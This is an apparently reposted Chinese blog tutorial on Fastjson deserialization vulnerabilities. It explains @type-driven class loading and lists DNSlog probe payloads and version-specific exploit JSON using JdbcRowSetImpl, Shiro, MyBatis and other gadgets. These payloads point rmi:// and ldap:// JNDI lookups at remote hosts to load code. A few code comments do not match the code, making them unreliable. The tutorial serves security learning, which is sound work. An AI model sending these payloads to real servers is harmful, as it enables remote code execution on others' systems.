【Fastjson】Fastjson反序列化由淺入深


菜雞一個,大師傅路過,如果不喜,勿噴

Fastjson真·簡·介

fastjson是由alibaba開發並維護的一個json工具,以其特有的算法,號稱最快的json庫

fastjson的使用

首先先創一個簡單的測試類User

public class user {
    public String username;
    public String password;

    public user(String username, String password) {
        this.username = username;
        this.password = password;
    }

    public String getUsername() {
        return username;
    }

    public void setUsername(String username) {
        this.username = username;
    }

    public String getPassword() {
        return password;
    }

    public void setPassword(String password) {
        this.password = password;
    }
}

使用fastjson進行序列化和反序列化操作

public class Fastjson {
    public static void main(String[] args) {
        user user = new user("Bob", "123.com");

        //序列化方式--指定類和不指定類
        String json1 = JSON.toJSONString(user);
        System.out.println(json1);//{"password":"123.com","username":"Aur0ra.sec"}
        String json2 = JSON.toJSONString(user, SerializerFeature.WriteClassName);
        System.out.println(json2);//{"@type":"com.aur0ra.sec.fastjson.User","password":"123.com","username":"Aur0ra.sec"}



        //反序列化
        //默認解析為JSONObject
        System.out.println(JSON.parse(json1));      //{"password":"123.com","username":"Bob"}
        System.out.println(JSON.parse(json1).getClass().getName());    //com.alibaba.fastjson.JSONObject

        //依據序列化中的@type進行自動反序列化成目標對象類型
        System.out.println(JSON.parse(json2));      //com.aur0ra.sec.fastjson.user@24b1d79b
        System.out.println(JSON.parse(json2).getClass().getName()); //com.aur0ra.sec.fastjson.user

        //手動指定type,反序列化成目標對象類型
        System.out.println(JSON.parseObject(json1, user.class)); //com.aur0ra.sec.fastjson.user@68ceda24
        System.out.println(JSON.parseObject(json1, user.class).getClass().getName()); //com.aur0ra.sec.fastjson.user

    }
}

上述的序列化和反序列化操作,一定要手動實踐。

執行后你會發現,使用JSON.toJSONString進行序列化時,可以設置是否將對象的類型也作為序列化的內容。當對字符串進行反序列化操作時,如果序列化字符串中有@type則會按照該類型進行反序列化操作,而如果沒有該屬性,則默認都返回JSONObject對象(一種字典類型數據存儲)。當沒有@type,但又想反序列化成指定的類對象時,需要通過JSON.parseObject()同時傳入該類的class對象,才能反序列成指定的對象。
注意:反序列化的對象必須具有默認的無參構造器和get|set方法,反序列化的底層實現就是通過無參構造器和get .set方法進行的

漏洞點:由於序列化數據是從客戶端發送的,如果將type屬性修改成惡意的類型,再發送過去,而接收方進行正常的反序列化操作時,不就可以實現任意類的反序列化操作!!!

原理探究

序列化

...
public static final String toJSONString(Object object, SerializerFeature... features) {
        SerializeWriter out = new SerializeWriter();

        try {
            JSONSerializer serializer = new JSONSerializer(out);
            for (com.alibaba.fastjson.serializer.SerializerFeature feature : features) {
                serializer.config(feature, true);
            }

            serializer.write(object);

            return out.toString();
		}
}
...

當指定要將類的名字寫入到序列化數據中時,就是將其寫入到JSONSerializer的配置中,當執行寫操作時,JSONSerializer會依據config,進行序列化操作。

手動指定類對象進行反序列化

image

當手動指定類對象時,JSON會根據指定的Class進行加載和映射。

自動反序列化

跟了比較久,容易跟丟
image


image

第一張是調用圖,第二張圖是自動反序列化的關鍵點。在這里,首先就是會先進行詞法分析(不知道的可以理解為按一定格式的將字符串分割),提取到字符串后,進行匹配,如果存在@type,那么就會進行如圖中的動態加載對象,再完成后續操作,這也就是為什么可以實現自動類匹配加載。

fastjson反序列化利用

上面的篇幅,相信應該講清楚了,傳入@type實現自動類匹配加載的原理。
這里列舉一些 fastjson 功能要點:

  • 使用 JSON.parse(jsonString) 和 JSON.parseObject(jsonString, Target.class),兩者調用鏈一致,前者會在 jsonString 中解析字符串獲取 @type 指定的類,后者則會直接使用參數中的class。
  • fastjson 在創建一個類實例時會通過反射調用類中符合條件的 getter/setter 方法,其中 getter 方法需滿足條件:方法名長於 4、不是靜態方法、以 get 開頭且第4位是大寫字母、方法不能有參數傳入、繼承自 Collection|Map|AtomicBoolean|AtomicInteger|AtomicLong、此屬性沒有 setter 方法;setter 方法需滿足條件:方法名長於 4,以 set 開頭且第4位是大寫字母、非靜態方法、返回類型為 void 或當前類、參數個數為 1 個。具體邏輯在 com.alibaba.fastjson.util.JavaBeanInfo.build() 中。
  • 使用 JSON.parseObject(jsonString) 將會返回 JSONObject 對象,且類中的所有 getter 與setter 都被調用。
  • 如果目標類中私有變量沒有 setter 方法,但是在反序列化時仍想給這個變量賦值,則需要使用 Feature.SupportNonPublicField 參數。
  • fastjson 在為類屬性尋找 get/set 方法時,調用函數 com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch() 方法,會忽略 _|- 字符串,也就是說哪怕你的字段名叫 a_g_e,getter 方法為 getAge(),fastjson 也可以找得到,在 1.2.36 版本及后續版本還可以支持同時使用 _ 和 - 進行組合混淆。
  • fastjson 在反序列化時,如果 Field 類型為 byte[],將會調用com.alibaba.fastjson.parser.JSONScanner#bytesValue 進行 base64 解碼,對應的,在序列化時也會進行 base64 編碼。

上面也提到了,只要我們可以控制@type類就可以加載任意我們想要加載的類,從而實現漏洞利用

POC

	// 目前最新版1.2.72版本可以使用1.2.36 < fastjson <= 1.2.72
     String payload = "{{\"@type\":\"java.net.URL\",\"val\"" +":\"http://9s1euv.dnslog.cn\"}:\"summer\"}";
     // 全版本支持 fastjson <= 1.2.72
     String payload1 = "{\"@type\":\"java.net.Inet4Address\",\"val\":\"zf7tbu.dnslog.cn\"}";
     String payload2 = "{\"@type\":\"java.net.Inet6Address\",\"val\":\"zf7tbu.dnslog.cn\"}";

在對滲透點判斷是否存在fastjson反序列化時,可以利用dnslog進行漏洞驗證

默認情況下,fastjson只對public屬性進行反序列化操作,如果POC或則EXP中存在private屬性時,需要服務端開啟了SupportNonPublicField功能。

EXP

需要開啟autoType

v1.2.25

 else if (className.charAt(0) == '[') {
	 Class<?> componentType = loadClass(className.substring(1), classLoader);
	 return Array.newInstance(componentType, 0).getClass();
 } else if (className.startsWith("L") && className.endsWith(";")) {
	 String newClassName = className.substring(1, className.length() - 1);
	 return loadClass(newClassName, classLoader);

也就是進行了校驗后,又修改了數據進行加載,從而導致bypass。
所以可以利用[或者 L和;進行遞歸繞過

v1.2.41

漏洞簡介:

fastjson判斷類名是否以L開頭、以;結尾,是的話就提取出其中的類名再加載。

exp

{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://x.x.x.x:1098/jndi", "autoCommit":true}\

v1.2.42

1.2.42 版本新增了校驗機制,如果輸入類名的開頭和結尾是l和;就將頭和尾去掉,再進行黑名單驗證。
所以繞過需要在類名外部嵌套兩層L;。

exp

{
    "b":{
        "@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",
        "dataSourceName":"rmi://xx.x.xx.xx:9999/poc",
        "autoCommit":true
    }
}

fastjson>=1.2.45 autoTypeSupport 屬性默認為關閉

fastjson = 1.2.45

利用條件

1)、目標服務端存在mybatis的jar包。
2)、版本需為 3.x.x ~ 3.5.0
3)、autoTypeSupport屬性為true才能使用。(fastjson >= 1.2.25默認為false)

exp

{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://localhost:1389/Exploit"}}

fastjson <= 1.2.47

漏洞簡介:

首先使用java.lang.CLass把獲取到的類緩存到mapping中,然后直接從緩存中獲取到了com.sun.rowset.JdbcRowSetlmpl這個類,繞過黑名單機制。

利用條件

小於 1.2.48 版本的通殺,autoType為關閉狀態也可以。

loadClass中默認cache設置為true。

exp

{
"a": {
          "@type": "java.lang.Class",
          "val": "com.sun.rowset.JdbcRowSetImpl"
      },
      "b": {
          "@type": "com.sun.rowset.JdbcRowSetImpl",
          "dataSourceName": "rmi://x.x.x.x:1098/jndi",
          "autoCommit": true
} }

fastjson <= 1.2.62

黑名單繞過

{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://127.0.0.1:1099/exploit"}";

fastjson <= 1.2.66

利用條件:

autoTypeSupport屬性為true才能使用。(fastjson >= 1.2.25默認為false)

漏洞簡介:

基於黑名單繞過。

exp

{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://192.168.80.1:1389/Calc"}

{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://192.168.80.1:1389/Calc"}{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://x.x.x.x:1389/Calc"}

{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": 

{"@type":"java.util.Properties","UserTransacti
  on":"ldap://x.x.x.x:1389/Calc"}}

利用$ref實現fastjson的反序列化(2022/03/02 Appending)

fastjson支持JsonPath

JSONPath是為了在json中定位子元素的一種語言,具體語法規則網上較多,不做贅述。

//反序列化代碼:
...
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "[{\"@type\":\"com.lxraa.serialize.fastjson.Test\",\"id\":123},{\"$ref\":\"$[0].id\"}]"; //引用數組第一個對象的id屬性,會觸發getId方法
Object o = JSON.parse(s);
...

基於反射,訪問了指定對象的getid()方法。

直接定位getter,判斷是否有觸發惡意方法的可能,進行漏洞挖掘

ENDING

There is no system which has absolute SECURITY!
U Know It,U Hack It!

Reference:http://www.lmxspace.com/2019/06/29/FastJson-反序列化學習/
https://paper.seebug.org/1613


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM